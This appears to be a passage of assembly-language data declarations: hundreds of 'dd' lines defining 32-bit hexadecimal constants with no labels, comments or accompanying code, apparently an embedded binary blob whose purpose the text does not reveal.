dd 0AD8F5F3Fh, 0B850C5E2h, 0EAF057ABh, 2C58C0C3h, 69CED042h
dd 9F09507Fh, 744B4965h, 0F191C2DFh, 414BBE00h, 7C147AC0h
dd 9D589AABh, 7C20D60h, 0F4C3EC9Fh, 0A93FE387h, 0C71017E9h
dd 46336FD0h, 0F7530388h, 0EE814EDEh, 39F320B0h, 30DF12D0h
dd 45BA2CBFh, 0B723D43h, 0A5162924h, 2DC6CF77h, 0D409AE96h
dd 0D47D9321h, 3E400599h, 2618BB18h, 60A2A12h, 4BE944D3h
dd 449F78BAh, 47F304FCh, 0CC139356h, 0BF55E9E9h, 2BB060FEh
dd 6A694314h, 78960EC8h, 0DA31452Ah, 6B10E0A6h, 0FF5D27E3h
dd 6825CA9Ch, 61FD7E05h, 2AB89FE9h, 0E955337h, 226A254h
dd 18862C4Ah, 0B3105D58h, 0D99F4995h, 27506AD8h, 0E9BB4055h
dd 39A9E2Ch, 481AB866h, 2B5EAAA4h, 0FAEF585Eh, 72EA319Eh
dd 31BFBF1h, 7176AF01h, 0F744B787h, 32C04C4Ah, 1EC83540h
dd 0CC55FC76h, 0EBAFDA5Ah, 40BEF19h, 172FE6C4h, 435CBBBDh
dd 7083DE2Fh, 0C44EE3E9h, 307878F2h, 0C651D46Fh, 263D3D62h
dd 0C8DAAC10h, 0F594D5ADh, 0CEBD187Dh, 0A813F6EDh, 1C8AB3F3h
dd 0C403E3C0h, 85F606EBh, 0FE02EFB8h, 0B0DD3070h, 97EE28E2h
dd 5C206322h, 96F307Eh, 1608F9C8h, 0CDC98DB8h, 0A9982BE0h
dd 0AD93417Bh, 0C10E741Ah, 602E62F1h, 0B0BE72Ch, 0D5177809h
dd 5F76CE8h, 1094AE0h, 0D69539E9h, 54A150BCh, 35386797h
dd 0C2A0E2CAh, 0F92EE468h, 37D7888Ah, 4D7DBB04h, 0CB818A80h
dd 871B1E25h, 0FCB20973h, 0D1312A98h, 0F45A79F4h, 7EB37B5h
dd 0C2800606h, 43F232ABh, 0F6480757h, 582C043Ch, 0F820BC26h
dd 0A628893Bh, 5D8320FDh, 34FD7F7h, 56E165EEh, 0FAFC018Ah
dd 55555462h, 659D07ECh, 0C4CD93A3h, 3020C033h, 58024A7Ch
dd 0FB47E035h, 368B5719h, 5EF37703h, 0A613EEDDh, 0C14920EFh
dd 8F3C0CB6h, 52D11F55h, 4AECAF3Fh, 0A5B8404Eh, 5F15003Dh
dd 72E4B12Dh, 332EE91Ch, 46F7151h, 0D4A24653h, 0F6815E00h
dd 9319A016h, 0F154014Ah, 0E6B92062h, 0B2511E23h, 8628B32h
dd 27F3029h, 5F2AC107h
dd 0B94AC173h, 0FF1EAB04h, 0CDEC10Bh, 52EED8B5h, 1972C18h
dd 0C459CA2Fh, 6DE91425h, 0E24ACCB7h, 0F3679EB5h, 0D7E0C313h
dd 95C57F02h, 6030CA60h, 2D72493Dh, 0E97CC038h, 8B7CF78Eh
dd 0ABDE0F39h, 0EF947FB6h, 8095D5F8h, 45DEBD95h, 68531331h
dd 3788BBB5h, 0FD1B4AE9h, 49B626B7h, 1A08CE13h, 0AD5A2DDDh
dd 137F420h, 8B0DD0F7h, 0F038E45Bh, 18C73E16h, 0E8A00ABFh
dd 0C10EBD10h, 0E9FD310Bh, 82C42B5Ch, 96C9A9BAh, 63C0CA84h
dd 0E0A0206h, 72E68177h, 0AF040724h, 1C6F71E8h, 48C12DFEh
dd 0FECD32h, 281570EDh, 9933F6Fh, 0A0175ECAh, 54380F7h
dd 0E98769CCh, 0B2D8042h, 116F6875h, 0B2A5B970h, 37D99CC2h
dd 0B4080D88h, 7895AA20h, 0F3755C04h, 0D87AD98Dh, 90410E05h
dd 0BF5D2A20h, 4E08D3CDh, 18B00125h, 7A17C380h, 3CB15EC0h
dd 8E93DC0h, 288BF1BDh, 0D1859CBh, 7BBD3115h, 9D82208Bh
dd 82218855h, 99687525h, 0FE5AF05Ah, 2A7AF8A3h, 0B7E0DB48h
dd 0E6CDFAE0h, 312FF816h, 2950450Dh, 0A88FA50h, 6103F659h
dd 626848B5h, 26C5332Ch, 0EB1F9154h, 2DEA5F7Fh, 10A23EE6h
dd 95FA45Ah, 7FBD8B97h, 680A431Dh, 72085F9Bh, 8D5F1F2Bh
dd 7B765BDFh, 0AE4BCDBCh, 0B0A8FFC4h, 5D3FF150h, 0CD003FC3h
dd 30DBE581h, 93A07492h, 0A3A2EFF9h, 0A5207252h, 91BE0447h
dd 0C06FF420h, 0D50B242Eh, 190C1D60h, 0BA6D312Eh, 6142AA9h
dd 5BDA25F4h, 825B51CCh, 9AF0FC5h, 6985790h, 0C695DD39h
dd 268125Ah, 21C26115h, 8122AFDCh, 0ED922AF7h, 0A8F280E2h
dd 8358D108h, 4F0C5AA8h, 0D4DA016Fh, 291C6D08h, 8D02E32Fh
dd 0F07FB796h, 577B0545h, 0F92C7E25h, 16688487h, 5BE3AA5Dh
dd 0BBE88385h, 93843FA3h, 0BE71497h, 82BF1CA6h, 5D83FC90h
dd 0F9F76D92h, 0D1756935h, 5BDDE26Ah, 3B129892h, 0B9787089h
dd 0A352502Eh, 2840E025h, 5B6605DEh, 0CD5AF388h, 6327303Bh
dd 0E315881h, 1A1DEE2Bh, 7FA37767h, 23165775h, 0A0FCC801h
dd 0C7CBEAF5h, 4F909B10h, 21A164ACh, 0AFC6EF0h, 6BE8C1A1h
dd 366E3DE1h, 0D6970D56h, 307552A2h, 82C5652Fh, 28191E40h
dd 20DBD34Ch, 0C1CAF536h, 78282E79h, 54686604h, 75B4EF2Ch
dd 5889BF39h, 0E971A8FEh, 20B9DECEh, 199A26EAh, 753DC28Ch
dd 0C146137Fh, 2C9FBEB3h, 9F2500B9h, 0DF1810Fh, 334F1975h
dd 0DB0137FDh, 0E96CAD62h, 0E6853ABEh, 9290E2BFh, 38A714ACh
dd 42CD5125h, 0E37E4DE9h, 2C0EE399h, 59B0BB00h, 0FD9E297Fh
dd 0E28C511Fh, 2DD8B354h, 9A57E42Ch, 540FDA5h, 0D34E88C8h
dd 6928DB8h, 63B63E6Eh, 0BA20C677h, 2B20B82h, 83F5D530h
dd 8734EB1Bh, 0A63AC43Ah, 9B03E159h, 0FF03E1C0h, 0E702933Fh
dd 0FDC9FE06h, 0D7673E50h, 0CB04ED38h, 498A2CEEh, 16B90B95h
dd 68590B4Ah, 5C301A22h, 55822FFEh, 0D6CB0FF3h, 0D8858BD8h
dd 7DA5B8FCh, 4E20F81Eh, 0B2F5EB97h, 60FA773Eh, 0BB6BD9EEh
dd 1388614Dh, 20D1B8D0h, 328FFC5Ch, 2AA68B2Ch, 0E8B5BD03h
dd 0B9D6F88Eh, 0B1A727ABh, 3B8C249h, 446BCED6h, 0BA520383h
dd 71A77992h, 0BB9AE00h, 76E915BCh, 5B34CB42h, 4E4AEED7h
dd 8294B2A4h, 0F91C9668h, 87D56BD1h, 84124738h, 2A9EF422h
dd 410EA5Fh, 89B38567h, 3FD2C2CAh, 847A9974h, 37AE46B5h
dd 402391BDh, 81AA3035h, 0F21F534h, 7DA38C82h, 17D47B18h
dd 2D451301h, 3FEB556Dh, 1420B371h, 0EA4AF403h, 48FC36A3h
dd 0BA25E012h, 0BB30F505h, 659CEB81h, 0B9354AFh, 0D44EF88Eh
dd 54B4D69Fh, 0E0D4E927h, 1222B937h, 0A8778C78h, 0E281805Eh
dd 5CBF5DEAh, 0DF2C111Dh, 0ADD0A521h, 669FB0FAh, 0B1CB2001h
dd 1BD8DDFAh, 5C63B2A8h, 1D10CFE8h, 0DA881D53h, 1957A2D2h
dd 720716A9h, 0D548CE1Ah, 115EC07h, 7495BF57h, 0EA2B5061h
dd 0FBDC6720h, 1EB34E1Bh, 0FFFBF4ACh, 0F381DCC0h, 0EE86138Ch
dd 5B76099Fh, 10CEFB7Fh, 14FDD21Ch, 64AB901h, 0A5BDBE0Dh
dd 0A142780Bh, 0F37B50A4h, 0D5977A9Ch, 36A46A5h, 6CBBF573h
dd 0EF895D90h, 165AF96h, 0E094C5AEh, 6E27686Dh, 0EBB2985Eh
dd 0FB30373h, 0D3F7DF87h, 0E781080Fh, 0B4BFFF5h, 2AF852h
dd 369F291Ch, 0D8574DBEh, 12E9AC0Bh, 261544DBh, 89F7BF59h
dd 0D97FAEB7h, 0C95B1FD6h, 0F690F013h, 0C4BFE531h, 5C85BD9Bh
dd 8931FCD9h, 8DC50055h, 3A4C930Dh, 5C9343BDh, 0ED4F8CEh
dd 3607DB05h, 4EE10B06h, 0DA082C4Ah, 0E28005C7h, 304581A2h
dd 1C076D7Ch, 0EA166AB5h, 5A51CAEEh, 0E0200CF1h, 200B4160h
dd 8F94CEAEh, 0B0743528h, 4DEFE78h, 0F7507997h, 0EA4076CEh
dd 3E1D00B8h, 0F4BB37D7h, 674F4587h, 0A940A3BCh, 0ADCB0681h
dd 100FE820h, 344B4348h, 20C07F01h, 5DDB6808h, 0C0109F5Bh
dd 0A9B92EEFh, 31AD962h, 0DAB9F101h, 7CE3F87h, 9095EA4Bh
dd 40E02B01h, 0E26E3F41h, 950200B9h, 20E90CAAh, 21C8C9CCh
dd 50C35B23h, 89D0AFD0h, 4861F582h, 17A83A01h, 3B4265ADh
dd 162F2AEFh, 0F461EF23h, 0EF052F75h, 544214C8h, 0F7CEEA31h
dd 9E9EB37Eh, 0E090E9C9h, 4BC5805Fh, 7D31B015h, 4C3CDF41h
dd 27BB65Bh, 635436C1h, 9858D523h, 2C5B0881h, 3C94B70Ch
dd 0D37059ACh, 0F8330674h, 2D5E1232h, 91E863A5h, 50769DCAh
dd 9A84F7E5h, 80EB6AD5h, 8105EAB1h, 3113F6E6h, 0D5F0FDDBh
dd 29D94022h, 8BFCFA4Bh, 50844B1h, 13A40ABFh, 3FF17BFCh
dd 581C870Eh, 6982D821h, 23B4B126h, 0CD68BB85h, 214D8D1Fh
dd 8EF6D209h, 5173660h, 0E0C1251Dh, 0E905E6F4h, 0CCFE7EB4h
dd 0EF54FD41h, 675CB1B4h, 80CF046Dh, 608261EAh, 0F15E0419h
dd 0CD2C7B1Dh, 5A094091h, 0C190ECB0h, 5C1DB690h, 296E9F42h
dd 0C1AE324h, 3866834Bh, 124816Dh, 0D8FDC312h, 0A0C390E2h
dd 970D11E0h, 525FE1Eh, 0BD3B7D2Dh, 0ADC646ACh, 0EE76BDCEh
dd 0A3485D71h, 4FD2440Ah, 0D59231Ch, 0E6AB93BDh, 0E4F9E289h
dd 5C19E622h, 7AD71BC0h, 0B5A0309h, 0B81AE3Fh, 0E87410C1h
dd 0A732463h, 0C8EF0212h, 4377A744h, 68D3097Ch, 0DF74548Eh
dd 0BC70DC2h, 48CDEC5Fh, 0A64F3842h, 41E05F1Dh, 670A3AE0h
dd 163CC1CAh, 6BA6202Eh, 75CC664Bh, 0F9C74A93h, 91E8A540h
dd 0A49D298Ah, 9FC20EBDh, 45AD107h, 0B5E3FFC8h, 3BE5E982h
dd 76F1A2A2h, 0BBD9B5Dh, 82A8E9ACh, 3C23DC90h, 7C255E48h
dd 0A44918FAh, 2DF01296h, 0FA3056BAh, 9FBCC721h, 9E84CC6Bh
dd 6A270916h, 40472700h, 0CC214D74h, 0BC4E81A2h, 9E48F0Bh
dd 0D5E9B2CAh, 0E60851ADh, 8092E084h, 0D3369A5Fh, 5CDC2748h
dd 0AE12A49Ah, 1DEF0FBh, 24E97440h, 0BB94BB82h, 0C68A5427h
dd 80DB0197h, 96203CF2h, 7F09F68Eh, 2720F6C9h, 0EBC7C60Eh
dd 0A1098439h, 7CE33FA4h, 0ED445CA2h, 76952C70h, 45DFCB27h
dd 85A1C8D5h, 0EA9D703Ah, 51EADD20h, 1DA52F5Eh, 883DC52h
dd 0E9170C41h, 37227FB9h, 8C088D1h, 203CA80h, 0BF0C8B5Ah
dd 84E969E5h, 968817F6h, 20830CEBh, 4A5A764Dh, 21185C18h
dd 275E4344h, 0FA586B89h, 3BB2B0C0h, 59E9E898h, 7D580E8Ah
dd 0A8A5EF92h, 9E597530h, 0E7E95036h, 79A4774Bh, 0EF2BBD05h
dd 0C36484D1h, 55EEB0BBh, 1D6BBD1Ch, 0D0BC0916h, 0AAD20196h
dd 0BF1A7A3Ah, 0CC39090Ch, 0D74E85CAh, 5419CED1h, 38F6317Eh
dd 0F0AB050Ch, 501F95A3h, 0AE4B84B4h, 0AD58DC5Fh, 47FCEA6Ch
dd 1C4BDF4Bh, 0A1347502h
dd 6394E92Fh, 3F62D75Dh, 17626C2Eh, 97067C5Ch, 0EA4584D5h
dd 0E98521B9h, 79A8A8E3h, 0AF70027Bh, 74D4F050h, 5C5F0980h
dd 7027FE1Ch, 27591761h, 0E9C4DF3Fh, 0B2EE80B6h, 5A0BD6F8h
dd 0BF9A7597h, 2DECFB7Dh, 0E9852971h, 0F7A81C71h, 8494A9E4h
dd 81009C05h, 0FC64D6E7h, 0F73B4176h, 2CDC3B88h, 7D72CD31h
dd 84C537C8h, 45B17209h, 82F5D801h, 0D18F4108h, 3BE0892Eh
dd 8E10EDB2h, 8F8A5FAAh, 0CC3B5D7Eh, 96EA881Ch, 0BCB617D7h
dd 39BA4F1Fh, 165FBC2Ah, 0CBBA5E60h, 4AB84C8Ch, 0E26ECEE1h
dd 0BC2DA4D6h, 36B18B38h, 0F8EB0432h, 97D73907h, 4D2C97C6h
dd 3BD0BF88h, 0CA778627h, 80F47470h, 68DD1EE6h, 5A00D009h
dd 463B0548h, 0B0406B82h, 90753ED8h, 6CC1FBCBh, 0C779D695h
dd 3005D43Ch, 0AB4D4547h, 2F1C8906h, 0FB2FFFFFh, 5F0C7E1Ah
dd 0B9268AF4h, 21DD9A42h, 0C1893DC3h, 88F52EEEh, 1235F1FDh
dd 8081843Eh, 0A90A782Fh, 92125h, 1438E394h, 681F2E2Eh
dd 0A5D8296Fh, 0DC30E66h, 284C80E9h, 78935C6Eh, 15CE3201h
dd 0AC0B70Ch, 0FF82DA75h, 0D4BDD452h, 782E3F7Bh, 0FBB8817Fh
dd 207E5838h, 88509390h, 5E137874h, 0BB926B5h, 0BA410841h
dd 8A6BB1F0h, 0D3CD1BDBh, 0FA6AB191h, 0A993443Ah, 850EB9DBh
dd 0D1B8E770h, 9CC704F4h, 4001FD1Bh, 0C9407AF0h, 7C915CB6h
dd 225CDB27h, 6BFBEE60h, 4E7D7EBBh, 15B0942h, 0C28655CAh
dd 0F70114B6h, 525192D8h, 0AF2E5A59h, 0D0ABB824h, 426EF5CFh
dd 930353Eh, 0D9FEAF68h, 0FF804BEAh, 1FA06850h, 584EA718h
dd 65E4E95Ah, 21CEB79Ch, 6D97168Ah, 97833E53h, 20EA1005h
dd 377A94DBh, 794B0F25h, 0A2004B24h, 1E66C23Fh, 95B3E910h
dd 7AB76809h, 51A8B0FFh, 90DFF857h, 0F4305FA1h, 0C5FE930h
dd 0E2EF9EC5h, 13FC112Bh, 64A871A1h, 6F16E416h, 25D74DF3h
dd 4D490DEEh, 0E27F15FDh, 2277D11h, 0C1AF13DAh, 0F86E812Fh
dd 5DF38043h, 741AC53h, 0DF790105h, 15455072h, 2D045B7Ch
dd 5F9F57A4h, 7411DF8h, 6E568F40h, 0E924E7CCh, 0E0C4B7EAh
dd 7DBB5E25h, 0EBCA5E13h, 0D49DB070h, 0C2EADA80h, 0E27F250Bh
dd 72065776h, 0E817651h, 6EECEA89h, 8A66814h, 5E9D0BDh
dd 421E5A62h, 7195E601h, 0C52E7FA6h, 3CA7BE6Dh, 0CE8C10Fh
dd 47D1C849h, 8AC7654Bh, 0EACAC9Eh, 0E0517B8h, 9E35F302h
dd 50CAB0E7h, 892330E9h, 727CBB82h, 0C4A340EEh, 246103D0h
dd 0F89742B5h, 92B1E836h, 39C14898h, 5245AB4Ah, 0CEAE1FCAh
dd 12A65D07h, 0AC52E029h, 0A7507691h, 8105E801h, 712A292Dh
dd 0C60FCF7h, 53161326h, 0F19F0050h, 692585D5h, 9D20AF90h
dd 0DB2B266Ch, 12AB05DFh, 7201BF90h, 0BD895833h, 740B08F0h
dd 0ACC00706h, 0A010E5DCh, 28EE53F0h, 958B6B06h, 6252D7Dh
dd 0A3A4F6E8h, 0B5201850h, 1EDE8116h, 46E28E81h, 307CFFC2h
dd 7301B88Dh, 85891C1Ah, 458C1B11h, 0F19B4C3h, 1FD38F6Eh
dd 78E4FB09h, 4D85F8D8h, 0E91886AAh, 901D230Ah, 5A6D0E01h
dd 0C927042Ah, 5906CCh, 3CBCB7EAh, 0ACBD918h, 0F9C55307h
dd 0B8B0E92Eh, 1FD7DE3Eh, 4960CFh, 0BEF36E85h, 0E15C42BDh
dd 532200AEh, 0A56DF929h, 304A72Ah, 0E02FD201h, 809E8689h
dd 74BF0518h, 0BE68A4h, 0A56FDFCFh, 0B3D12BC1h, 5EE02C00h
dd 6FA14C7h, 298A641Bh, 0CEF1210Bh, 0E3105212h, 8F78989h
dd 66CC448Ah, 8887FA84h, 4280D813h, 65CB072Eh, 0C064C2E3h
dd 9D9304D5h, 0CC294C00h, 1E6ABC98h, 0A4BD00CAh, 0C18680A0h
dd 8F00DD0Dh, 63CE7E11h, 1D9596ACh, 40D6B877h, 2FEEC1D5h
dd 1E00DA6Ch, 0B1CE541Fh, 32DF475h, 3C7A6AAh, 51D01017h
dd 0E400D18Eh, 0ACAB4071h, 305E1DF4h, 0EE560B67h, 7300767Ah
dd 0B8B20E72h, 38EFFC7Bh, 0EC0791D2h, 0C183741Ah, 0C409275Eh
dd 0EAF04F75h, 0CC246F00h, 7DACDE2Fh, 4DC400B3h, 0FA011C67h
dd 1400C9E6h, 78C62AA6h, 8AD60Eh, 60C65E0h, 0E469C48Dh
dd 6BCFEB00h, 3B26FD0Bh, 0D0E700E2h, 20F67194h, 1E0F51D5h
dd 0E12DB7h, 0A443CD50h, 0A5FC0023h, 3F48DAE5h, 0DE09C241h
dd 12BEF62h, 0EC470B00h, 7B9770h, 0D6F5D736h, 4A0FB8A4h
dd 0C96BEF01h, 0A9DD1875h, 94F8FCh, 0C40B0A5Ah, 385BBA2Ah
dd 0A64D2400h, 6F96970h, 3FD2766Ch, 0C30EF379h, 3C60541Ah
dd 0A2B97B11h, 33F5FC00h, 229B4155h, 0FA940021h, 87CB8A69h
dd 29001DBEh, 0C9D6AA25h, 3B77B90Eh, 42009027h, 0E3891B6Eh
dd 7C00C119h, 63F3C633h, 7FA9A0F8h, 0A1F90F78h, 544E4E2Eh
dd 29D20621h, 3391D8B4h, 0CE945Ch, 247CF8AAh, 786A79h
dd 0B03AAFA5h, 5A63FC0Ch, 42C5C914h, 0B13BEFh, 18281FECh
dd 0A4492Fh, 1FA9262h, 52B7CB51h, 89FB58h, 83CEE759h, 240D321Dh
dd 39A4694Dh, 3EB42880h, 2BC3A2B6h, 7DF4E000h, 59416E55h
dd 0D5BB501Ah, 0DD5039F1h, 877BE980h, 77EB179Eh, 2885CD00h
dd 5CB97A2Dh, 33B30F70h, 835D5972h, 0CA5BDB3Ch, 0FDCEB798h
dd 0D53F1C05h, 8D832D8Ch, 0E33DF2BDh, 0B59AD84Fh, 49940C5Fh
dd 0FC4A259Fh, 0EF4ED49h, 7EE9C65Dh, 0DE0F7464h, 0C520A598h
dd 0BFF2D000h, 0ECB597h, 2E70F84Eh, 4622597Bh, 3E7F0207h
dd 52102CA8h, 72CF12C6h, 0C2960066h, 3A93E387h, 0B41FC94Dh
dd 6380FC8Fh, 900B1365h, 0E969009Ah, 35B6F748h, 30008D5h
dd 34F2A56Eh, 3D9DDD3Fh, 0FF8E1CD6h, 51402719h, 44243987h
dd 0B1529000h, 58FC3473h, 0B4EA2Fh, 5EC23331h, 69AF05A6h
dd 0D5889200h, 946409AAh, 287B009Eh, 0E1BCB510h, 0B01F14Ah
dd 0A7D1D6F3h, 40DA0990h, 602A8463h, 0D86810E5h, 0A00E9A6Dh
dd 5E345A7Ch, 1D503AC5h, 0DAC2C740h, 0F8D7797Dh, 2FD7C18h
dd 27B72133h, 0A8802C63h, 8C88E2EFh, 42189B00h, 2089D853h
dd 0A8ECEC25h, 0E41AECh, 1C519478h, 0AF1E470Eh, 8157F18h
dd 0B131FEh, 1D54354Ah, 2DE78B02h, 9F9C20FFh, 3C27B621h
dd 3AC95D0Ah, 0BD9280C4h, 0B9DA3DE0h, 0B8402A00h, 0EC8E1847h
dd 0F5E90023h, 0BD61CC7Fh, 2900016Eh, 24844819h, 0C003A030h
dd 566A0D40h, 8B007404h, 0FDAB9C9Eh, 288FCB3h, 0D9B66E2Ah
dd 10404C6Dh, 0E2FEC8EEh, 5C665660h, 90FB1DECh, 0E0585024h
dd 7C2101E9h, 0AE835FF4h, 0DE1630CEh, 6A5D270Bh, 3823068Dh
dd 0BB10048h, 0B5E5EE3Eh, 0F2C17B43h, 4A63CDF7h, 99D8FC25h
dd 95E50033h, 0E66C1AEEh, 5300FBB1h, 0CB73C28Fh, 42B68Eh
dd 6F5C4E7h, 54584F03h, 665A3809h, 2CB380C6h, 1CED1426h
dd 70DB04D4h, 97BCD70h, 0E616F107h, 0FE0B211Ah, 8C1300DAh
dd 0E2670FD1h, 0AE7A8409h, 9D328223h, 3AAC40FEh, 0FA340078h
dd 445CA97Fh, 552481FBh, 5200F06Bh, 61DF1529h, 4D9F00B9h
dd 54846819h, 5103101Ch, 90874C45h, 4286A0F7h, 5633AA3h
dd 14AC9Fh, 0E0EB0338h, 0CC00E22Bh, 0D4B9CDE8h, 0B211A7h
dd 18041B65h, 7AFB205Eh, 316E2201h, 3B3A1DB8h, 689F80CFh
dd 50980196h, 670C92D5h, 7374E4D1h, 0ACF3D400h, 49CD1456h
dd 7C41023Dh, 2D40B534h, 169B5440h, 0D6513C00h, 4427468Bh
dd 887401E5h, 7C3F199Fh, 0D83C34D9h, 81A8451Eh, 0D3FB04C0h
dd 4BCA1Ah, 961D5609h, 0D60B1880h, 40827B00h, 935BF434h
dd 54441D2Ah, 0E68A4324h, 63E0493Ah, 9B1876CAh, 82791A9Ah
dd 0AB4B0221h, 250A59AEh, 91E1A460h, 7F0EEF70h, 4032CAB5h
dd 2C7AA11Bh
dd 4637001Ah, 0D0201D0Ah, 2E639B28h, 3D79C7C8h, 0AA81F3FEh
dd 0E84311BAh, 2374D46Ch, 0E2F6B002h, 0E3EDA08Ch, 0E67EB8A0h
dd 4D270557h, 8094A716h, 2DCD1250h, 0E03AE503h, 35E60Fh
dd 0FF8E67C8h, 66B8B963h, 979AC300h, 91B53FD4h, 0BBDC00FAh
dd 0B95F15BFh, 6500F33Ah, 0A76D3F4h, 20BEC4Bh, 0B2C756D8h
dd 784003BCh, 0A900DA4Dh, 339D3EE2h, 3EA0905h, 0E5EC28CFh
dd 2AF9868Fh, 0A27C6099h, 7258B698h, 1AC5013h, 9701F09Ah
dd 1DDAF17Eh, 7CC8E223h, 5166002Ch, 41DB5543h, 39F8D9BDh
dd 115EB007h, 9100D3A9h, 1C8ADh, 7A8363D1h, 0AE1B0343h
dd 67195D13h, 0B8D07024h, 1CF977E9h, 0F385C1Ah, 9E0974Ah
dd 40F128B0h, 0D5831103h, 886E394Fh, 7747A94h, 0B2D7B7A0h
dd 0C09BD42Ah, 965302CCh, 3B23DB0Bh, 76508060h, 0E8C56h
dd 0BCD32711h, 0C9FEC0A3h, 28474C00h, 0E176D466h, 0C5370026h
dd 317A96B3h, 800F3BEh, 0CBA45B61h, 783FD12h, 591446A6h
dd 10AF47E8h, 0F7E0B43Eh, 44649700h, 0AB8B8ABEh, 0E4B81D19h
dd 0C5A44013h, 77F01A78h, 2598F800h, 1B3BEE26h, 0E1230075h
dd 0E8683E70h, 3600BC93h, 2A4F7457h, 142E62Fh, 0F7D55529h
dd 0ECA8BA34h, 3B01DEF9h, 0B2770CC3h, 91ECA2D6h, 3547CABh
dd 4D81C640h, 0F488D09Ah, 590052F9h, 0A9C01D0Fh, 9320B5Fh
dd 0A7499EEAh, 9784A780h, 0B90018FBh, 2BA83053h, 21E3B0Bh
dd 34DD9CB4h, 0C8A05B77h, 0DA4638D0h, 0DE760900h, 10D542Fh
dd 62580043h, 0A7EF2206h, 1600FE59h, 3A0BF41Dh, 40B9D2h
dd 0F71E50F0h, 91DB2146h, 9C681124h, 229E0201h, 332741h
dd 80853AE8h, 1F557FF0h, 3500A483h, 27AFCAA7h, 70954Fh
dd 5ED15234h, 0C92A8B7Eh, 3B960600h, 6BB55D36h, 1393001Ch
dd 5695044Fh, 73AD3B3h, 86A7048Eh, 18C1D64Dh, 0F6FC80FEh
dd 0B6C602B1h, 18485028h, 91D9F8E0h, 0A7290B0Ch, 0F41A1019h
dd 0D7BC304Ch, 21413838h, 75007D75h, 49B18719h, 0A040B2A2h
dd 1CD546AEh, 40BC18DCh, 42BE172Bh, 123CEB8Fh, 329600CBh
dd 15DD81D8h, 0DA600AFh, 0EE610B23h, 0C21E68D0h, 0D200F7A8h
dd 3CCC9A9Eh, 2E2902CFh, 776034C1h, 2153CC0h, 0B8856501h
dd 0AA96D856h, 0D4792980h, 51982DCh, 4EA3321Eh, 0E85BFA80h
dd 1CEE703Eh, 0C0312458h, 0B52A035Dh, 4B029B20h, 3FDFA805h
dd 7A79E083h, 3DEA9Fh, 793238A2h, 48B0CE37h, 92D9D00h
dd 0EA02C251h, 2C17623h, 0D635ACE8h, 0E88E8A42h, 5A0B7000h
dd 3B004BECh, 0B30E57CFh, 508648h, 1655C88Bh, 8EDA0C2Bh
dd 59890200h, 5BC66307h, 0F93E00E7h, 61732DC4h, 0B7008E6Fh
dd 0BA19ED36h, 53A8D3h, 7C6DA75Dh, 15FA2038h, 0CC80E2F9h
dd 47358339h, 0DA11F16Ah, 8AC2B800h, 0AF87A0h, 0A2FB13Dh
dd 68A70EB2h, 93E9EC1Ch, 29F42DC0h, 4FB822h, 11520D5Fh
dd 967594AAh, 0FC900600h, 42A30FFEh, 60570037h, 0CB7F3FFFh
dd 0C0083EFh, 0E62CB997h, 16983146h, 0F40ADA0h, 0DB4FBF50h
dd 545DD8E0h, 0F438307Fh, 8DEB00D2h, 0C04466EAh, 88D50FA7h
dd 29A428ADh, 0A3A9C0A6h, 5200CB1Ah, 148CF80Fh, 3CC5E43Ah
dd 0BA027275h, 0C4F1E26Ch, 0D8B42060h, 8AD9A100h, 0A3E39440h
dd 0ED0600AFh, 0DEA2158h, 5903A502h, 55394886h, 1B8EE46h
dd 0A885F1ADh, 30BFD701h, 8801FBC8h, 0C28A171h, 0E3DC59D4h
dd 0A28E00B8h, 0FDDC368Ah, 651CF6A3h, 0EEC011C5h, 8E02F152h
dd 461A00CEh, 79332FD6h, 1C003D72h, 447F3188h, 3F12B383h
dd 68870B30h, 70ABA62Ah, 57785262h, 0EE206600h, 0E1C1AC34h
dd 95E050h, 521D8EC6h, 4336E709h, 3CC4A600h, 9CC888ABh
dd 0A484CC3h, 7254D003h, 0F5A02451h, 0E500A6E0h, 92AF330h
dd 0CE0B04h, 0F91D67BCh, 23771A53h, 3A45D07h, 2ADA663h
dd 0A18430h, 103CB16Fh, 6C8A71BCh, 0E2EF3A00h, 1AA6CB32h
dd 0BADB0075h, 361920A3h, 0A2137B4Fh, 8500BCBBh, 0CF76543Dh
dd 0CE6D0FA0h, 0C05E0937h, 985B71FFh, 0E7121381h, 2041A416h
dd 0D3A806EAh, 0F51E7880h, 2DD2EB9Dh, 4AB544A0h, 67E341F7h
dd 18983CA9h, 0AB212F12h, 0F14900FDh, 3D4ACDA1h, 801814D0h
dd 26389F9Bh, 28FD606Dh, 0DE96612Ah, 0FAE640C0h, 506A780Eh
dd 0CB42409h, 2B02F261h, 0E06E220h, 9F9D292Ah, 0A1EA0558h
dd 45BEBDCh, 0A13CA94Ch, 12E8E048h, 3A550F3Eh, 0E95A1C0Ah
dd 0EE02D80h, 0FA1470h, 30C78DB8h, 0A48C3DD7h, 6DA8681Fh
dd 0EA158E00h, 767DC9h, 0CF22DA52h, 426BC61Dh, 2618957Fh
dd 0CA7197BEh, 2BAF077Eh, 8168A6F0h, 8B677D23h, 41438681h
dd 79D03F30h, 24150830h, 381667Ch, 57E0ECA7h, 0E4ED1180h
dd 9EE7AAD7h, 18387B83h, 11FA83C3h, 0CD0CD325h, 81211A7Dh
dd 28C90CC0h, 0AA11FEBEh, 0B457BB03h, 176E01ADh, 0A2E8758h
dd 0BCB8FF8Dh, 0AC32007Ch, 2CA0793Ch, 9A00E369h, 2B3F330Eh
dd 0E870F9BFh, 81A60030h, 0A93EC99Bh, 0A160EC1Bh, 1961E510h
dd 4FA03D38h, 1D6AC50h, 0FAFB6285h, 4627ABD7h, 0A4206084h
dd 78BEF853h, 81F0301Fh, 0F1510610h, 7E6AB65Ch, 273CE17Fh
dd 60551FA5h, 35C0B703h, 6EBDE1EBh, 0BEF51441h, 5DA29F0h
dd 21AF262Ah, 63BC0411h, 0F9D4E2Ch, 39A1BEDh, 738D2AA8h
dd 3012B7F5h, 3840FA8Eh, 0FF577CA1h, 1203711Fh, 24EEF84h
dd 11EE134Ch, 0BC3427E0h, 596E21C0h, 533969F2h, 2084208Dh
dd 0C7C16449h, 99BC47DAh, 0F399F00h, 4E587DAAh, 0A8A280A3h
dd 26E7A898h, 28A3B019h, 6422BD30h, 0A8B161Ch, 40E44163h
dd 0C9D13F9Dh, 0AB377C00h, 0BFBB3B45h, 33720034h, 0B626CCF5h
dd 9D3CED21h, 0CB8266Ah, 0A7689800h, 0BB167Dh, 0FAD8016Fh
dd 0B0E1DBC8h, 0ED347105h, 0C285F99Fh, 3E6B3040h, 0AD5A28h
dd 461DE3ACh, 57210942h, 6120D400h, 7226B60Ch, 0BDA00744h
dd 1B2A94Ah, 830737FBh, 0F85CA4C0h, 0AAE80F64h, 7C20D6D5h
dd 3200E7Fh, 39A59B05h, 0F3800163h, 5220869h, 1A442916h
